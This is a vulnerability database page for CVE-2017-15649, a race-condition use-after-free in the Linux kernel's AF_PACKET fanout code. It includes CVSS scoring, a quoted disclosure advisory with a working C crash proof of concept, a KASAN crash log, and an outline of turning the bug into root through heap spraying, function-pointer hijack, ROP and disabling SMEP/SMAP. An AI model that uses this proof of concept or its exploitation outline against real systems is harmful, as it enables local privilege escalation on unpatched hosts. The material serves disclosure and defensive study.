CVE-2017-15649 Detail

CVE-2017-15649

Score / Severity

7.8

High

EPSS

0.04%V3

Vector

Local

Published

2017-10-19
20h00 +00:00

Modified

2018-08-24
07h57 +00:00

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CVE Descriptions

net/packet/af_packet.c in the Linux kernel before 4.13.6 allows local users to gain privileges via crafted system calls that trigger mishandling of packet_fanout data structures, because of a race condition (involving fanout_add and packet_do_bind) that leads to a use-after-free, a different vulnerability than CVE-2017-6346.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	7.8	HIGH	CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	4.6		AV:L/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 44053

Publication date : 2017-10-16 22h00 +00:00
Author : SecuriTeam
EDB Verified : No

## Vulnerabilities summary The following advisory describes a use-after-free vulnerability found in Linux Kernel’s implementation of AF_PACKET that can lead to privilege escalation. AF_PACKET sockets “allow users to send or receive packets on the device driver level. This for example lets them to implement their own protocol on top of the physical layer or to sniff packets including Ethernet and higher levels protocol headers” ## Credit The vulnerability was discovered by an independent security researcher which reported this vulnerabilities to Beyond Security’s SecuriTeam Secure Disclosure program. ## Vendor response Update 1 CVE: CVE-2017-15649 “It is quite likely that this is already fixed by: packet: hold bind lock when rebinding to fanout hook – http://patchwork.ozlabs.org/patch/813945/ Also relevant, but not yet merged is packet: in packet_do_bind, test fanout with bind_lock held – http://patchwork.ozlabs.org/patch/818726/ We verified that this does not trigger on v4.14-rc2, but does trigger when reverting that first mentioned commit (008ba2a13f2d).” ## Vulnerabilities details This use-after-free is due to a race condition between fanout_add (from setsockopt) and bind on a AF_PACKET socket. The race will cause __unregister_prot_hook() from packet_do_bind() to set po->running to 0 even though a packet_fanout has been created from fanout_add(). This allows us to bypass the check in unregister_prot_hook() from packet_release() effectively causing the packet_fanout to be released and still being referenced from the packet_type linked list. ## Crash Proof of Concept `` // Please note, to have KASAN report the UAF, you need to enable it when compiling the kernel. // the kernel config is provided too. #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <pthread.h> #include <sys/utsname.h> #include <sched.h> #include <stdarg.h> #include <stdbool.h> #include <sys/stat.h> #include <fcntl.h> #define IS_ERR(c, s) { if (c) perror(s); } struct sockaddr_ll { unsigned short sll_family; short sll_protocol; // big endian int sll_ifindex; unsigned short sll_hatype; unsigned char sll_pkttype; unsigned char sll_halen; unsigned char sll_addr[8]; }; static int fd; static struct ifreq ifr; static struct sockaddr_ll addr; void *task1(void *unused) { int fanout_val = 0x3; // need race: check on po->running // also must be 1st or link wont register int err = setsockopt(fd, 0x107, 18, &fanout_val, sizeof(fanout_val)); // IS_ERR(err == -1, "setsockopt"); } void *task2(void *unused) { int err = bind(fd, (struct sockaddr *)&addr, sizeof(addr)); // IS_ERR(err == -1, "bind"); } void loop_race() { int err, index; while(1) { fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); IS_ERR(fd == -1, "socket"); strcpy((char *)&ifr.ifr_name, "lo"); err = ioctl(fd, SIOCGIFINDEX, &ifr); IS_ERR(err == -1, "ioctl SIOCGIFINDEX"); index = ifr.ifr_ifindex; err = ioctl(fd, SIOCGIFFLAGS, &ifr); IS_ERR(err == -1, "ioctl SIOCGIFFLAGS"); ifr.ifr_flags &= ~(short)IFF_UP; err = ioctl(fd, SIOCSIFFLAGS, &ifr); IS_ERR(err == -1, "ioctl SIOCSIFFLAGS"); addr.sll_family = AF_PACKET; addr.sll_protocol = 0x0; // need something different to rehook && 0 to skip register_prot_hook addr.sll_ifindex = index; pthread_t thread1, thread2; pthread_create (&thread1, NULL, task1, NULL); pthread_create (&thread2, NULL, task2, NULL); pthread_join(thread1, NULL); pthread_join(thread2, NULL); // UAF close(fd); } } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { close(fd); return false; } close(fd); return true; } void setup_sandbox() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { printf("[!] unprivileged user namespaces are not available\n"); perror("[-] unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { perror("[-] unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { perror("[-] write_file(/proc/self/set_groups)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { perror("[-] write_file(/proc/self/uid_map)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { perror("[-] write_file(/proc/self/gid_map)"); exit(EXIT_FAILURE); } } int main(int argc, char *argv[]) { setup_sandbox(); system("id; capsh --print"); loop_race(); return 0; } `` ## Crash report ``` [ 73.703931] dev_remove_pack: ffff880067cee280 not found [ 73.717350] ================================================================== [ 73.726151] BUG: KASAN: use-after-free in dev_add_pack+0x1b1/0x1f0 [ 73.729371] Write of size 8 at addr ffff880067d28870 by task poc/1175 [ 73.732594] [ 73.733605] CPU: 3 PID: 1175 Comm: poc Not tainted 4.14.0-rc1+ #29 [ 73.737714] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.1-1ubuntu1 04/01/2014 [ 73.746433] Call Trace: [ 73.747985] dump_stack+0x6c/0x9c [ 73.749410] ? dev_add_pack+0x1b1/0x1f0 [ 73.751622] print_address_description+0x73/0x290 [ 73.753646] ? dev_add_pack+0x1b1/0x1f0 [ 73.757343] kasan_report+0x22b/0x340 [ 73.758839] __asan_report_store8_noabort+0x17/0x20 [ 73.760617] dev_add_pack+0x1b1/0x1f0 [ 73.761994] register_prot_hook.part.52+0x90/0xa0 [ 73.763675] packet_create+0x5e3/0x8c0 [ 73.765072] __sock_create+0x1d0/0x440 [ 73.766030] SyS_socket+0xef/0x1b0 [ 73.766891] ? move_addr_to_kernel+0x60/0x60 [ 73.769137] ? exit_to_usermode_loop+0x118/0x150 [ 73.771668] entry_SYSCALL_64_fastpath+0x13/0x94 [ 73.773754] RIP: 0033:0x44d8a7 [ 73.775130] RSP: 002b:00007ffc4e642818 EFLAGS: 00000217 ORIG_RAX: 0000000000000029 [ 73.780503] RAX: ffffffffffffffda RBX: 00000000004002f8 RCX: 000000000044d8a7 [ 73.785654] RDX: 0000000000000011 RSI: 0000000000000003 RDI: 0000000000000011 [ 73.790358] RBP: 00007ffc4e642840 R08: 00000000000000ca R09: 00007f4192e6e9d0 [ 73.793544] R10: 0000000000000000 R11: 0000000000000217 R12: 000000000040b410 [ 73.795999] R13: 000000000040b4a0 R14: 0000000000000000 R15: 0000000000000000 [ 73.798567] [ 73.799095] Allocated by task 1360: [ 73.800300] save_stack_trace+0x16/0x20 [ 73.802533] save_stack+0x46/0xd0 [ 73.803959] kasan_kmalloc+0xad/0xe0 [ 73.805833] kmem_cache_alloc_trace+0xd7/0x190 [ 73.808233] packet_setsockopt+0x1d29/0x25c0 [ 73.810226] SyS_setsockopt+0x158/0x240 [ 73.811957] entry_SYSCALL_64_fastpath+0x13/0x94 [ 73.814636] [ 73.815367] Freed by task 1175: [ 73.816935] save_stack_trace+0x16/0x20 [ 73.821621] save_stack+0x46/0xd0 [ 73.825576] kasan_slab_free+0x72/0xc0 [ 73.827477] kfree+0x91/0x190 [ 73.828523] packet_release+0x700/0xbd0 [ 73.830162] sock_release+0x8d/0x1d0 [ 73.831612] sock_close+0x16/0x20 [ 73.832906] __fput+0x276/0x6d0 [ 73.834730] ____fput+0x15/0x20 [ 73.835998] task_work_run+0x121/0x190 [ 73.837564] exit_to_usermode_loop+0x131/0x150 [ 73.838709] syscall_return_slowpath+0x15c/0x1a0 [ 73.840403] entry_SYSCALL_64_fastpath+0x92/0x94 [ 73.842343] [ 73.842765] The buggy address belongs to the object at ffff880067d28000 [ 73.842765] which belongs to the cache kmalloc-4096 of size 4096 [ 73.845897] The buggy address is located 2160 bytes inside of [ 73.845897] 4096-byte region [ffff880067d28000, ffff880067d29000) [ 73.851443] The buggy address belongs to the page: [ 73.852989] page:ffffea00019f4a00 count:1 mapcount:0 mapping: (null) index:0x0 compound_mapcount: 0 [ 73.861329] flags: 0x100000000008100(slab|head) [ 73.862992] raw: 0100000000008100 0000000000000000 0000000000000000 0000000180070007 [ 73.866052] raw: dead000000000100 dead000000000200 ffff88006cc02f00 0000000000000000 [ 73.870617] page dumped because: kasan: bad access detected [ 73.872456] [ 73.872851] Memory state around the buggy address: [ 73.874057] ffff880067d28700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 73.876931] ffff880067d28780: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 73.878913] >ffff880067d28800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 73.880658] ^ [ 73.884772] ffff880067d28880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 73.890978] ffff880067d28900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 73.897763] ================================================================== ``` We know that the freed object is a kmalloc-4096 object: ``` struct packet_fanout { possible_net_t net; unsigned int num_members; u16 id; u8 type; u8 flags; union { atomic_t rr_cur; struct bpf_prog __rcu *bpf_prog; }; struct list_head list; struct sock *arr[PACKET_FANOUT_MAX]; spinlock_t lock; refcount_t sk_ref; struct packet_type prot_hook ____cacheline_aligned_in_smp; }; ``` and that its prot_hook member is the one being referenced in the packet handler when registered via dev_add_pack() from register_prot_hook() inside af_packet.c: ``` struct packet_type { __be16 type; /* This is really htons(ether_type). */ struct net_device *dev; /* NULL is wildcarded here */ int (*func) (struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); bool (*id_match)(struct packet_type *ptype, struct sock *sk); void *af_packet_priv; struct list_head list; }; ``` The function pointers inside of struct packet_type, and the fact it is in a big slab (kmalloc-4096) makes heap spraying easier and more reliable as bigger slabs are less often used by the kernel. We can use usual kernel heap spraying to replace the content of the freed packet_fanout object by using for example sendmmsg() or any other mean. Even if the allocation is not permanent, it will still replace the targeted content in packet_fanout (ie. the function pointers) and due to the fact that kmalloc-4096 is very stable, it is very less likely that another allocation will corrupt our payload. id_match() will be called when sending a skb via dev_queue_xmit() which can be reached via a sendmsg on a AF_PACKET socket. It will loop through the list of packet handler calling id_match() if not NULL. Thus, we have a PC control situation. Once we know where the code section of the kernel is, we can pivot the kernel stack into our fake packet_fanout object and ROP. The first argument ptype contains the address of the prot_hook member of our fake object, which allows us to know where to pivot. Once into ROP, we can jump into native_write_c4(x) to disable SMEP/SMAP, and then we could think about jumping back into a userland mmaped executable payload that would call commit_creds(prepare_kernel_cred(0)) to elevate our user process privilege to root.